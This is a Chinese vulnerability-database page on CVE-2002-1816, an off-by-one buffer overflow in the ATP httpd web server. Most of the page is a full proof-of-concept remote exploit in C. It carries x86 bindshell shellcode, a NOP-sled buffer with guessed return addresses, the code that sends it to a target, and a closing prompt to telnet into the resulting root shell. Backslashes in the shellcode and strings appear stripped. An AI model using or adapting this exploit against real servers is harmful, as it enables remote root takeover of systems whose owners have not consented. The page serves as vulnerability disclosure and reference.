ATP httpd远程单字节缓冲区溢出漏洞

ATP httpd远程单字节缓冲区溢出漏洞

漏洞ID 1107025 漏洞类型 边界条件错误
发布时间 2002-10-05 更新时间 2005-10-20
图片[1]-ATP httpd远程单字节缓冲区溢出漏洞-安全小百科CVE编号 CVE-2002-1816
图片[2]-ATP httpd远程单字节缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200212-489
漏洞平台 Linux CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/21936
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200212-489
|漏洞详情
ATPhttpd是一款轻量级的HTTP服务器程序。ATPhttpd中sock_gets()函数对接收到的数据缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出漏洞,以root用户的权限在系统上执行任意指令。缓冲区溢出发生在当sock_gets()函数接收到字符串时,函数会接收’count’大小个字符并在最后字符串中追加NULL字符,如果’count’变量值等于传递个这个函数第一参数的字符串大小,就会导致单字节溢出。下面是问题所在(在’total_count’和’count’之间对比没有预见NULL字符会追加到字符串中):sockhelp.c:311:if((total_count<count)&&(last_read!=10)&&(last_read!=13))sockhelp.c:{sockhelp.c:312:current_position[0]=last_read;sockhelp.c:313:current_position++;sockhelp.c:314:total_count++;sockhelp.c:315:}sockhelp.c:316:}sockhelp.c:317:if(count>0)由于不正确的对比,指向字符串的指针’str’会接收到’count’+1字节的数据导致缓冲区溢出:sockhelp.c:318:current_position[0]=0;sockhelp.c:319:returntotal_count;sockhelp.c:320:}由于此HTTP服务程序是单线程结构,守护进程没有设计权限分离,因此需要以root用户权限监听TCP/80端口,任何缓冲区溢出可以导致以root用户权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/5956/info

ATP httpd is a lightweight HTTP server. A vulnerability has been reported in ATP httpd that may result in compromise of root access to remote attackers. It is possible to overwrite the least significant byte of the saved base pointer with a NULL if a string of maximum length is transmitted to the server. This creates a potentially exploitable condition if the saved base pointer is corrupted such that it points to attacker-controlled memory. 

/* PRPatphttpd.c
 *
 *    This program is free software; you can redistribute it and/or modify
 *    it under the terms of the GNU General Public License as published by
 *    the Free Software Foundation; either version 2 of the License, or
 *    (at your option) any later version.
 *
 *    This program is distributed in the hope that it will be useful,
 *    but WITHOUT ANY WARRANTY; without even the implied warranty of
 *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *    GNU General Public License for more details.
 *
 *    You should have received a copy of the GNU General Public License
 *    along with this program; if not, write to the Free Software
 *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 *
 *    -
 *
 *    PYR/MID, Research Project
 *    Author: thread
 *    Date: 05/10/02
 *    Members: Apm, flea, thread
 *
 *    Proof of Concept Remote Exploit for ATP HTTP Daemon v0.4b
 *
 *    Tested on:
 *    i386 Slackware 8.0
 *
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>


/* Constants */

#define BINDSHELL_PORT		36864
#define ARCHS			1


/* External variables */

extern int errno, h_errno; // Already declared in the headers


/* Here is a bindshell(code) */

char bindshell[] =
	"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
	"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
	"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
	"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
	"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
	"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
	"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
	"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
	"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";


struct arch {
	int id;
	char *arch;
	long ret;
	int start_byte;
} arch[] = {
	{ 1, "ATP HTTP Daemon v0.4b/i386 Slackware 8.0", 0xbffff7ec, 600 }
};

	/* Note that this return address doesn't precisly point to the start
	 * of buffer's string (without any environment variables except '_')!
	 * It points to somewhere in the first 2/4 of buffer's memory,
	 * depending of the memory used by environment variables.
	 * This is useful to make some compatibility for systems with
	 * different environments.
	 */


/* Prototypes */

int gen_rand(int min, int max);
long get_ret(long base_ret, int bytes);

int main(int argc, char **argv) {
	int fd, i, arch_num, tmp;
	long ret;
	struct sockaddr_in host;
	struct hostent *he;
	char buffer[803];


	printf( "PYR/\MID, Research Project 02n"
		"ATP HTTP Daemon v0.4b Remote Exploit, by threadnn");


	/* Checking args */

	if (argc == 2 && !strcmp(argv[1], "-h")) {
		printf( "<arch>n"
			"Valid architectures:n");
		for (i = 0; i < ARCHS; i++) {
			printf("t%d - %s - 0x%lxn",
						arch[i].id,
						arch[i].arch,
						arch[i].ret);
		}
		printf( "n"
			"<environment memory>n"
			"If you have no idea about remote atphttpd environment "
			"you should use one of nextn"
		        "options for this argument:n"
			"n"
			"t0  - Uses a default return address that works "
				"in the most 'default'n"
			       	"t     slackware envrionments (between 520 and"
				" 675 bytes of memory)n"
			"n"
			"t-1 - Generates a random number that will point "
				"to a valid return addressn"
			       	"t     that works in a specific range of "
		       		"memory used by the environmentn"
				"t     (good luck ;)n"
			"n"
			"NOTE: A high return address value means less "
			"environment memory usednn");
		return -1;
	} else if (argc < 5) {
		printf( "Synopsis: %s [-h] <hostname> <port> <arch> "
			"<environment memory>n"
			"n"
			"-httt- Use this flag as unique argument to "
			"display a detailedn"
			"ttt  help for <arch> and <environment memory> "
			"argumentsn"
			"n"
			"<hostname>tt- Remote hostname or ip addressn"
			"<port>ttt- Remote portn"
			"<arch>ttt- Architecturen"
			"<environment memory>t- It's the number of "
			"bytes that the environment (wheren"
			"ttt  atphttpd runs) uses in memory.n"
			"n", argv[0]);
		return -1;
	}


	/* Calculating a new return address */

	printf("Calculating a new return address... ");
	fflush(stdout);

	arch_num = atoi(argv[3]) - 1;

	ret = get_ret(arch[arch_num].ret, atoi(argv[4]));

	printf("Done: 0x%lxn", ret);


	/* Resolving hostname */

	printf("Resolving hostname (%s)... ", argv[1]);
	fflush(stdout);

	if (!(he = gethostbyname(argv[1]))) {
		fprintf(stderr, "Error: gethostbyname(): %sn",
				hstrerror(h_errno));
		return -1;
	} else {
		char *r_ip = (char *) &host.sin_addr.s_addr;
		host.sin_addr.s_addr = *((unsigned long *) *he->h_addr_list);
		printf("Resolved to: %u.%u.%u.%un",
					(unsigned char) r_ip[0],
					(unsigned char) r_ip[1],
					(unsigned char) r_ip[2],
					(unsigned char) r_ip[3]);
	}


	/* Setting remote port and protocol family */

	host.sin_port = htons(atoi(argv[2]));
	host.sin_family = AF_INET;


	/* Creating an end-point for comunication */

	printf("Creating an end-point for comunication... ");
	fflush(stdout);

	if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
		fprintf(stderr, "Error: socket(): %sn", strerror(errno));
		return -1;
	}

	printf("Donen");


	/* Connecting to the remote host */

	printf("Connecting to the remote host... ");
	fflush(stdout);

	if (connect(fd, (struct sockaddr *) &host,
				sizeof(struct sockaddr)) < 0) {
		fprintf(stderr, "Error: connect(): %sn", strerror(errno));
		return -1;
	}

	printf("Connectedn");


	/* Crafting the string */

	memset(buffer, 'x90', sizeof(buffer));	// Fill buffer with NOPs

	/* The return address is somewhere around here.
	 * It changes a lot of times because
	 * the environment changes the buffer's place,
	 * so lets fill the memory's field
	 * where the return address is used to be:
	 */

	for (tmp = sizeof(buffer) - sizeof(long) - 3,
			i = arch[arch_num].start_byte; i < tmp;
				i += sizeof(long))
		*(long *)&buffer[i] = ret;

	memcpy((buffer + sizeof(buffer) - 1) - 3 - strlen(bindshell)
		       	- ((sizeof(buffer) - arch[arch_num].start_byte) + 1),
			bindshell, strlen(bindshell));	/* put the code right
							 * before the ret addr
							 * and ignore the ''
							 * and LF/CR chars
							 */

	buffer[sizeof(buffer) - 3] = 'n';
	buffer[sizeof(buffer) - 2] = 'r';
	buffer[sizeof(buffer) - 1] = 0;


	/* Now sending the crafted string to the remote host */

	printf("Sending buffer to the remote host... ");
	fflush(stdout);

	if (write(fd, buffer, strlen(buffer)) < 0) {
		fprintf(stderr, "Error: write(): %sn", strerror(errno));
		return -1;
	}

	printf("Sentn");


	/* Close the file descriptor */

	printf("Closing the connection... ");
	fflush(stdout);

	if (close(fd) < 0) {
		fprintf(stderr, "Error: close(): %sn", strerror(errno));
		return -1;
	}

	printf("Closedn");

	printf("nNow try: telnet %s %dn", argv[1], BINDSHELL_PORT);

	return 0;
}

int gen_rand(int min, int max) {
	struct timeval tv;
	gettimeofday(&tv, NULL);
	srand(tv.tv_usec);
	return (min + (rand() % (max / 2)));
}

long get_ret(long base_ret, int bytes) {
	if (!bytes)
		return 0xbffff4ec;
	if (bytes < 0)
		return get_ret(base_ret, gen_rand(5, 1500));

	return ((base_ret - bytes) - ((bytes >> 8) << 3));
				/*   ^^^^^^^^^^^^^^^^^^^	*/
				/* This will try to reduce the	*/
				/* error tax of the result	*/

	/* Note that this isn't an exact calculation! This will return
	 * a value that should point to somewhere in the first 2/4 of
	 * buffer's memory. This should work for 90% of the cases.
	 */
}
|参考资料

来源:BID
名称:5956
链接:http://www.securityfocus.com/bid/5956
来源:XF
名称:atphttpd-sockgets-bo(10362)
链接:http://www.iss.net/security_center/static/10362.php
来源:SECUNIA
名称:7293
链接:http://secunia.com/advisories/7293
来源:BUGTRAQ
名称:20021012PyramidResearchProject-atphttpdsecurityadvisorie
链接:http://archives.neohapsis.com/archives/bugtraq/2002-10/0187.html
来源:NSFOCUS
名称:3670
链接:http://www.nsfocus.net/vulndb/3670

相关推荐: Midnight Commander Directory Viewing Command Execution Vulnerability

Midnight Commander Directory Viewing Command Execution Vulnerability 漏洞ID 1103660 漏洞类型 Input Validation Error 发布时间 2000-11-28 更新时间…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享